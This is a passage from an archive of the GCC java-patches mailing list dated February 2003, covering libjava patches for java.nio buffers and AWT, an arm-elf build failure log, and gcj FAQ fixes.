/cvs/gcc/gcc/libjava/java/awt/ScrollPaneAdjustable.java,v retrieving revision 1.1 diff -u -r1.1 ScrollPaneAdjustable.java --- java/awt/ScrollPaneAdjustable.java 9 Aug 2002 04:26:14 -0000 1.1 +++ java/awt/ScrollPaneAdjustable.java 19 Feb 2003 11:40:42 -0000 @@ -39,34 +39,28 @@ package java.awt; /** - * Need this class since the serialization spec for ScrollPane - * uses it. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - */ + * Need this class since the serialization spec for ScrollPane + * uses it. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + */ class ScrollPaneAdjustable extends Scrollbar { + public ScrollPaneAdjustable (int orientation) + { + super (orientation); + } -public -ScrollPaneAdjustable(int orientation) -{ - super(orientation); -} - -public void -setMaximum(int maximum) -{ -} + public void setMaximum (int maximum) + { + } -public void -setMinimum(int minimum) -{ -} - -public void -setVisibleAmount(int visibleAmount) -{ -} + public void setMinimum (int minimum) + { + } + public void setVisibleAmount (int visibleAmount) + { + } } // class ScrollPaneAdjustable --Boundary-00=_w53U+kkVC2U5TQj-- From java-patches-return-6207-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 11:55:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28282 invoked by alias); 19 Feb 2003 11:55:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28253 invoked from network); 19 Feb 2003 11:55:09 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 19 Feb 2003 11:55:09 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-75-071.ewetel.net [80.228.75.71]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1JBt4GJ000932 for ; Wed, 19 Feb 2003 12:55:07 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio fixes Date: Wed, 19 Feb 2003 13:55:07 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_r63U+zXZpWTE3UE" Message-Id: <200302191355.07460.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_r63U+zXZpWTE3UE Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to fix some oddities in java.nio and=20 friends. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+U36rWSOgCCdjSDsRAkl1AJwN5Jb0GoVvYycb9HGdAVIxMOL4egCfb9sh jz9G9gfcSjWPqLN3A+5O+cs=3D =3DZnfx =2D----END PGP SIGNATURE----- --Boundary-00=_r63U+zXZpWTE3UE Content-Type: text/x-diff; charset="iso-8859-15"; name="buffers.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="buffers.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1719 diff -u -r1.1719 ChangeLog --- ChangeLog 19 Feb 2003 11:44:21 -0000 1.1719 +++ ChangeLog 19 Feb 2003 11:47:22 -0000 @@ -1,5 +1,37 @@ 2003-02-19 Michael Koch + * gnu/java/nio/ByteBufferImpl.java + (ByteBufferImpl): Renamed two variables. + * gnu/java/nio/CharBufferImpl.java + (CharBufferImpl): Renamed two variables. + * gnu/java/nio/DoubleBufferImpl.java + (DoubleBufferImpl): Renamed two variables. + * gnu/java/nio/FloatBufferImpl.java + (FloatBufferImpl): Renamed two variables. + * gnu/java/nio/IntBufferImpl.java + (IntBufferImpl): Renamed two variables. + * gnu/java/nio/LongBufferImpl.java + (LongBufferImpl): Renamed two variables. + * gnu/java/nio/ShortBufferImpl.java + (ShortBufferImpl): Renamed two variables. + * java/nio/CharBuffer.java + (wrap): Fixed arguments to CharBufferImpl constructor. + (hasArray): Only not read-only buffers have backing arrays. + (length): Documentation added. + (subSequence): Documentation added. + * java/nio/DoubleBuffer.java + (hasArray): Only not read-only buffers have backing arrays. + * java/nio/FloatBuffer.java + (hasArray): Only not read-only buffers have backing arrays. + * java/nio/IntBuffer.java + (hasArray): Only not read-only buffers have backing arrays. + * java/nio/LongBuffer.java + (hasArray): Only not read-only buffers have backing arrays. + * java/nio/ShortBuffer.java + (hasArray): Only not read-only buffers have backing arrays. + +2003-02-19 Michael Koch + * javax/accessibility/AccessibleContext.java (ACCESSIBLE_DESCRIPTION_PROPERTY): Fixed typo. Index: gnu/java/nio/ByteBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/ByteBufferImpl.java,v retrieving revision 1.3 diff -u -r1.3 ByteBufferImpl.java --- gnu/java/nio/ByteBufferImpl.java 11 Feb 2003 11:16:18 -0000 1.3 +++ gnu/java/nio/ByteBufferImpl.java 19 Feb 2003 11:47:22 -0000 @@ -60,9 +60,9 @@ readOnly = false; } - public ByteBufferImpl (byte[] array, int off, int lim) + public ByteBufferImpl (byte[] array, int offset, int length) { - super (array.length, lim, off, 0); + super (array.length, length, offset, 0); this.backing_buffer = array; readOnly = false; } Index: gnu/java/nio/CharBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/CharBufferImpl.java,v retrieving revision 1.3 diff -u -r1.3 CharBufferImpl.java --- gnu/java/nio/CharBufferImpl.java 11 Feb 2003 11:16:18 -0000 1.3 +++ gnu/java/nio/CharBufferImpl.java 19 Feb 2003 11:47:22 -0000 @@ -56,9 +56,9 @@ readOnly = false; } - public CharBufferImpl(char[] array, int off, int lim) + public CharBufferImpl(char[] array, int offset, int length) { - super (array.length, lim, off, 0); + super (array.length, length, offset, 0); this.backing_buffer = array; readOnly = false; } Index: gnu/java/nio/DoubleBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/DoubleBufferImpl.java,v retrieving revision 1.3 diff -u -r1.3 DoubleBufferImpl.java --- gnu/java/nio/DoubleBufferImpl.java 11 Feb 2003 11:16:18 -0000 1.3 +++ gnu/java/nio/DoubleBufferImpl.java 19 Feb 2003 11:47:22 -0000 @@ -56,9 +56,9 @@ readOnly = false; } - public DoubleBufferImpl(double[] array, int off, int lim) + public DoubleBufferImpl(double[] array, int offset, int length) { - super (array.length, lim, off, 0); + super (array.length, length, offset, 0); this.backing_buffer = array; readOnly = false; } Index: gnu/java/nio/FloatBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/FloatBufferImpl.java,v retrieving revision 1.3 diff -u -r1.3 FloatBufferImpl.java --- gnu/java/nio/FloatBufferImpl.java 11 Feb 2003 11:16:18 -0000 1.3 +++ gnu/java/nio/FloatBufferImpl.java 19 Feb 2003 11:47:22 -0000 @@ -56,9 +56,9 @@ readOnly = false; } - public FloatBufferImpl(float[] array, int off, int lim) + public FloatBufferImpl(float[] array, int offset, int length) { - super (array.length, lim, off, 0); + super (array.length, length, offset, 0); this.backing_buffer = array; readOnly = false; } Index: gnu/java/nio/IntBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/IntBufferImpl.java,v retrieving revision 1.3 diff -u -r1.3 IntBufferImpl.java --- gnu/java/nio/IntBufferImpl.java 11 Feb 2003 11:16:18 -0000 1.3 +++ gnu/java/nio/IntBufferImpl.java 19 Feb 2003 11:47:22 -0000 @@ -56,9 +56,9 @@ readOnly = false; } - public IntBufferImpl(int[] array, int off, int lim) + public IntBufferImpl(int[] array, int offset, int length) { - super (array.length, lim, off, 0); + super (array.length, length, offset, 0); this.backing_buffer = array; readOnly = false; } Index: gnu/java/nio/LongBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/LongBufferImpl.java,v retrieving revision 1.3 diff -u -r1.3 LongBufferImpl.java --- gnu/java/nio/LongBufferImpl.java 11 Feb 2003 11:16:18 -0000 1.3 +++ gnu/java/nio/LongBufferImpl.java 19 Feb 2003 11:47:22 -0000 @@ -56,9 +56,9 @@ readOnly = false; } - public LongBufferImpl(long[] array, int off, int lim) + public LongBufferImpl(long[] array, int offset, int length) { - super (array.length, lim, off, 0); + super (array.length, length, offset, 0); this.backing_buffer = array; readOnly = false; } Index: gnu/java/nio/ShortBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/ShortBufferImpl.java,v retrieving revision 1.3 diff -u -r1.3 ShortBufferImpl.java --- gnu/java/nio/ShortBufferImpl.java 11 Feb 2003 11:16:18 -0000 1.3 +++ gnu/java/nio/ShortBufferImpl.java 19 Feb 2003 11:47:22 -0000 @@ -56,9 +56,9 @@ readOnly = false; } - public ShortBufferImpl(short[] array, int off, int lim) + public ShortBufferImpl(short[] array, int offset, int length) { - super (array.length, lim, off, 0); + super (array.length, length, offset, 0); this.backing_buffer = array; readOnly = false; } Index: java/nio/CharBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/CharBuffer.java,v retrieving revision 1.5 diff -u -r1.5 CharBuffer.java --- java/nio/CharBuffer.java 13 Feb 2003 11:37:10 -0000 1.5 +++ java/nio/CharBuffer.java 19 Feb 2003 11:47:22 -0000 @@ -63,7 +63,7 @@ */ final public static CharBuffer wrap (char[] array, int offset, int length) { - return new CharBufferImpl (array, offset, offset + length); + return new CharBufferImpl (array, offset, length); } /** @@ -205,7 +205,8 @@ */ public final boolean hasArray () { - return backing_buffer != null; + return (backing_buffer != null + && ! isReadOnly ()); } /** @@ -359,6 +360,9 @@ return new String (array (), position (), length ()); } + /** + * Returns the length of the remaining chars in this buffer. + */ public final int length () { return remaining (); @@ -370,6 +374,9 @@ public abstract ByteOrder order (); /** + * Creates a new character buffer that represents the specified subsequence + * of this buffer, relative to the current position. + * * @exception IndexOutOfBoundsException If the preconditions on start and * end do not hold. */ Index: java/nio/DoubleBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/DoubleBuffer.java,v retrieving revision 1.4 diff -u -r1.4 DoubleBuffer.java --- java/nio/DoubleBuffer.java 13 Feb 2003 08:40:35 -0000 1.4 +++ java/nio/DoubleBuffer.java 19 Feb 2003 11:47:22 -0000 @@ -120,7 +120,8 @@ public final boolean hasArray() { - return (backing_buffer != null); + return (backing_buffer != null + && !isReadOnly ()); } public final double[] array() Index: java/nio/FloatBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/FloatBuffer.java,v retrieving revision 1.4 diff -u -r1.4 FloatBuffer.java --- java/nio/FloatBuffer.java 13 Feb 2003 08:40:35 -0000 1.4 +++ java/nio/FloatBuffer.java 19 Feb 2003 11:47:22 -0000 @@ -121,7 +121,8 @@ public final boolean hasArray() { - return (backing_buffer != null); + return (backing_buffer != null + && !isReadOnly ()); } public final float[] array() Index: java/nio/IntBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/IntBuffer.java,v retrieving revision 1.4 diff -u -r1.4 IntBuffer.java --- java/nio/IntBuffer.java 13 Feb 2003 08:40:35 -0000 1.4 +++ java/nio/IntBuffer.java 19 Feb 2003 11:47:22 -0000 @@ -121,7 +121,8 @@ public final boolean hasArray() { - return (backing_buffer != null); + return (backing_buffer != null + && !isReadOnly ()); } public final int[] array() Index: java/nio/LongBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/LongBuffer.java,v retrieving revision 1.4 diff -u -r1.4 LongBuffer.java --- java/nio/LongBuffer.java 13 Feb 2003 08:40:35 -0000 1.4 +++ java/nio/LongBuffer.java 19 Feb 2003 11:47:22 -0000 @@ -121,7 +121,8 @@ public final boolean hasArray() { - return (backing_buffer != null); + return (backing_buffer != null + && !isReadOnly ()); } public final long[] array() Index: java/nio/ShortBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ShortBuffer.java,v retrieving revision 1.4 diff -u -r1.4 ShortBuffer.java --- java/nio/ShortBuffer.java 13 Feb 2003 08:40:35 -0000 1.4 +++ java/nio/ShortBuffer.java 19 Feb 2003 11:47:22 -0000 @@ -121,7 +121,8 @@ public final boolean hasArray() { - return (backing_buffer != null); + return (backing_buffer != null + && !isReadOnly ()); } public final short[] array() --Boundary-00=_r63U+zXZpWTE3UE-- From java-patches-return-6208-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 13:43:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1987 invoked by alias); 19 Feb 2003 13:42:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1970 invoked from network); 19 Feb 2003 13:42:58 -0000 Received: from unknown (HELO localhost.localdomain) (217.112.227.117) by 172.16.49.205 with SMTP; 19 Feb 2003 13:42:58 -0000 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id h1JDql7Z030015; Wed, 19 Feb 2003 14:52:47 +0100 Received: from localhost (ronald@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) with ESMTP id h1JDqkxE030011; Wed, 19 Feb 2003 14:52:46 +0100 X-Authentication-Warning: localhost.localdomain: ronald owned process doing -bs Date: Wed, 19 Feb 2003 14:52:46 +0100 (CET) From: Ronald Landheer-Cieslak X-X-Sender: ronald@localhost.localdomain To: Tom Tromey cc: Andrew Haley , , Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy In-Reply-To: <87k7fxcw3q.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 18 Feb 2003, Tom Tromey wrote: > >>>>> "Ronald" == Ronald Landheer-Cieslak writes: > Ronald> If you wish, I can fill in a problem report describing the > Ronald> problem in a bit more detail, but I'm afraid that's about all > Ronald> I can do. > Fair enough. Please do that. Thanks. Will do :) > Ronald> You should know that I am the first developer in my company > Ronald> that has any experience at all with free software - and thus I > Ronald> am the only advocate for free software here. > Hopefully soon there will be more :-) Amen to that :) But don't worry - I won't stop evangilizing any time soon ;) rlc From java-patches-return-6209-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 15:06:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16902 invoked by alias); 19 Feb 2003 15:06:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16889 invoked from network); 19 Feb 2003 15:06:42 -0000 Received: from unknown (HELO localhost.localdomain) (217.112.227.117) by 172.16.49.205 with SMTP; 19 Feb 2003 15:06:42 -0000 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id h1JFGW7Z030168; Wed, 19 Feb 2003 16:16:33 +0100 Received: from localhost (ronald@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) with ESMTP id h1JFGWFU030164; Wed, 19 Feb 2003 16:16:32 +0100 X-Authentication-Warning: localhost.localdomain: ronald owned process doing -bs Date: Wed, 19 Feb 2003 16:16:32 +0100 (CET) From: Ronald Landheer-Cieslak X-X-Sender: ronald@localhost.localdomain To: Tom Tromey cc: Andrew Haley , , Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Files as PR "other/9755: Code gets compiled that shouldn't be when using Newlib (compiling the compiler)" Ciao, rlc NB: should I file PRs for the other two "problems" I encountered during compile as well (ffitest not being compiled and the headers being "fixed" incorrectly) or is that not necessary? I can problably whip up a patch to the header fixing config file, and the Makefile.in file for the ffitest-failure (shouldn't be too much of a problem). On Wed, 19 Feb 2003, Ronald Landheer-Cieslak wrote: > On 18 Feb 2003, Tom Tromey wrote: > > >>>>> "Ronald" == Ronald Landheer-Cieslak writes: > > Ronald> If you wish, I can fill in a problem report describing the > > Ronald> problem in a bit more detail, but I'm afraid that's about all > > Ronald> I can do. > > Fair enough. Please do that. Thanks. > Will do :) > > > Ronald> You should know that I am the first developer in my company > > Ronald> that has any experience at all with free software - and thus I > > Ronald> am the only advocate for free software here. > > Hopefully soon there will be more :-) > Amen to that :) > But don't worry - I won't stop evangilizing any time soon ;) > > rlc > > From java-patches-return-6210-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 16:32:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21354 invoked by alias); 19 Feb 2003 16:32:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21341 invoked from network); 19 Feb 2003 16:32:07 -0000 Received: from unknown (HELO momotombo.TechFak.Uni-Bielefeld.DE) (129.70.136.107) by 172.16.49.205 with SMTP; 19 Feb 2003 16:32:07 -0000 Received: from xayide.TechFak.Uni-Bielefeld.DE.TechFak.Uni-Bielefeld.DE (xayide.TechFak.Uni-Bielefeld.DE [129.70.137.35]) by momotombo.TechFak.Uni-Bielefeld.DE (8.11.6+Sun/8.11.6/TechFak/pk+ro20010720) with ESMTP id h1JGW2D27868; Wed, 19 Feb 2003 17:32:02 +0100 (MET) From: Rainer Orth Message-ID: <15955.45440.779040.94344@xayide.TechFak.Uni-Bielefeld.DE> Date: Wed, 19 Feb 2003 17:32:00 +0100 (MET) To: tromey@redhat.com Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: 3.3 PATCH: Fix libjava bootstrap failure on Tru64 UNIX In-Reply-To: <87bs19cvu4.fsf@fleche.redhat.com> References: <15954.17118.560535.961535@xayide.TechFak.Uni-Bielefeld.DE> <87bs19cvu4.fsf@fleche.redhat.com> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Tom Tromey writes: > I think this should go on the trunk as well. ok, installed both 3.3 branch and mainline. I've verified that the 3.2 branch is unaffected. Rainer From java-patches-return-6211-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 17:37:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31402 invoked by alias); 19 Feb 2003 17:37:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31375 invoked from network); 19 Feb 2003 17:37:48 -0000 Received: from unknown (HELO fw-cam.cambridge.arm.com) (193.131.176.3) by 172.16.49.205 with SMTP; 19 Feb 2003 17:37:48 -0000 Received: by fw-cam.cambridge.arm.com; id RAA04841; Wed, 19 Feb 2003 17:37:47 GMT Received: from unknown(172.16.1.2) by fw-cam.cambridge.arm.com via smap (V5.5) id xma004735; Wed, 19 Feb 03 17:37:35 GMT Received: from pc960.cambridge.arm.com (pc960.cambridge.arm.com [10.1.205.4]) by cam-admin0.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id RAA26666; Wed, 19 Feb 2003 17:37:34 GMT Received: from pc960.cambridge.arm.com (rearnsha@localhost) by pc960.cambridge.arm.com (8.11.6/8.9.3) with ESMTP id h1JHbYa05121; Wed, 19 Feb 2003 17:37:34 GMT Message-Id: <200302191737.h1JHbYa05121@pc960.cambridge.arm.com> X-Authentication-Warning: pc960.cambridge.arm.com: rearnsha owned process doing -bs To: java-patches@gcc.gnu.org cc: Richard.Earnshaw@arm.com Reply-To: Richard.Earnshaw@arm.com Organization: ARM Ltd. X-Telephone: +44 1223 400569 (direct+voicemail), +44 1223 400400 (switchbd) X-Fax: +44 1223 400410 X-Address: ARM Ltd., 110 Fulbourn Road, Cherry Hinton, Cambridge CB1 9NJ. Subject: libjava embedded builds broken *again* Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 19 Feb 2003 17:37:34 +0000 From: Richard Earnshaw It seams that 9 out of 10 times when the arm-elf compiler fails to build its the java libraries that are broken. It's just happened again: /work/rearnsha/gnu/egcs/gcc/xgcc -shared-libgcc -B/work/rearnsha/gnu/egcs/g cc/ -nostdinc++ -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src/.libs -nostdinc -B/work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/ -isystem /work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/targ-include -isystem /home/rearnsha/gnusrc/egcs-cross/newlib/libc/include -B/work/rearnsha/gnu/install/arm-elf/bin/ -B/work/rearnsha/gnu/install/arm- elf/lib/ -isystem /work/rearnsha/gnu/install/arm-elf/include -L/work/rearnsha/gnu/egcs/ld -mthumb -DHAVE_CONFIG_H -I. -I/home/rearnsha/gnusrc/egcs-cross/libjava -I./include -I./gcj -I/home/rearnsha/gnusrc/egcs-cross/libjava -Iinclude -I/home/rearnsha/gnusrc/egcs-cross/libjava/include -I/home/rearnsha/gnusrc/egcs-cross/libjava/../boehm-gc/include -DSILENT=1 -DNO_SIGNALS=1 -DNO_EXECUTE_PERMISSION=1 -DALL_INTERIOR_POINTERS=1 -DJAVA_FINALIZATION=1 -DGC_GCJ_SUPPORT=1 -DATOMIC_UNCOLLECTABLE=1 -DNO_SIGSET=1 -DNO_DEBUGGING=1 -I/home/rearnsha/gnusrc/egcs-cross/libjava/. ././libjava/../gcc -I/home/rearnsha/gnusrc/egcs-cross/libjava/../zlib -fno-rtti -fnon-call-exceptions -fdollars-in-identifiers -Wswitch-enum -I/usr/X11R6/include -W -Wall -D_GNU_SOURCE -DPREFIX=\"/work/rearnsha/gnu/i nstall\" -g -O2 -mthumb -MD -MT gnu/java/nio/natSocketChannelImpl.lo -MF gnu/java/nio/natSocketChannelImpl.pp -c /home/rearnsha/gnusrc/egcs-cross/li bjava/gnu/java/nio/natSocketChannelImpl.cc -o gnu/java/nio/natSocketChannel Impl.o /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketCreate()': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:25: error: ` AF_INET' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:25: error: (Each undeclared identifier is reported only once for each function it appears in.) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:25: error: ` SOCK_STREAM' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:25: error: ` _Jv_socket' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In function `static jint gnu::java::nio::SocketChannelImpl::SocketConnect(__java_int, java::net::InetAddress*, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:40: warning: unused parameter `jint fd' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:40: warning: unused parameter `java::net::InetAddress*addr' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:40: warning: unused parameter `jint port' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In function `static jint gnu::java::nio::SocketChannelImpl::SocketBind(__java_int, java::net::InetAddress*, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:48: warning: unused parameter `jint fd' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:48: warning: unused parameter `java::net::InetAddress*addr' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:48: warning: unused parameter `jint port' /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketListen(__java_int, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:55: error: ` _Jv_listen' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketClose(__java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:75: error: ` _Jv_close' undeclared (first use this function) /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketRead(__java_int, JArray *, __java_int, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:90: error: `:: recv' has not been declared /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc: In static member function `static jint gnu::java::nio::SocketChannelImpl::SocketWrite(__java_int, JArray *, __java_int, __java_int)': /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSocketChannelImpl. cc:105: error: `:: send' has not been declared gnumake[4]: *** [gnu/java/nio/natSocketChannelImpl.lo] Error 1 gnumake[4]: *** Waiting for unfinished jobs.... From java-patches-return-6212-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 18:44:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15002 invoked by alias); 19 Feb 2003 18:44:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14989 invoked from network); 19 Feb 2003 18:44:36 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 19 Feb 2003 18:44:36 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA22766; Wed, 19 Feb 2003 11:44:35 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 39E474F8329; Wed, 19 Feb 2003 11:35:32 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: gcj faq fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am KING BOMBA of Sicily!..I will marry LUCILLE BALL next Friday! Date: 19 Feb 2003 11:35:32 -0700 Message-ID: <87isvgce4r.fsf@fleche.redhat.com> Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This fixes a buglet in the gcj faq. Tom Index: ChangeLog from Tom Tromey * faq.html (1.7): Use correct name for shared library. Index: faq.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/faq.html,v retrieving revision 1.57 diff -u -r1.57 faq.html --- faq.html 4 Jan 2003 18:34:18 -0000 1.57 +++ faq.html 19 Feb 2003 18:43:40 -0000 @@ -166,7 +166,7 @@ much like a traditional virtual machine. You can even use "gij" to run a shared library which is compiled from java code and contains a main method:

-$ gcj -shared -o HelloWorld.so HelloWorld.java
+$ gcj -shared -o lib-HelloWorld.so HelloWorld.java
 $ gij HelloWorld
           
This works because gij uses Class.forName, which knows how to load shared objects. From java-patches-return-6213-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 18:47:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16836 invoked by alias); 19 Feb 2003 18:47:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16816 invoked from network); 19 Feb 2003 18:47:06 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 19 Feb 2003 18:47:06 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA23414; Wed, 19 Feb 2003 11:47:05 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1DC8B4F8329; Wed, 19 Feb 2003 11:38:02 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: another gcj faq fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: ... I live in a FUR-LINE FALLOUT SHELTER Date: 19 Feb 2003 11:38:02 -0700 Message-ID: <87d6loce0l.fsf@fleche.redhat.com> Lines: 25 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. Another fixlet to the gcj faq. Tom Index: ChangeLog from Tom Tromey * faq.html (1.7): Interpreter works on several platforms. Index: 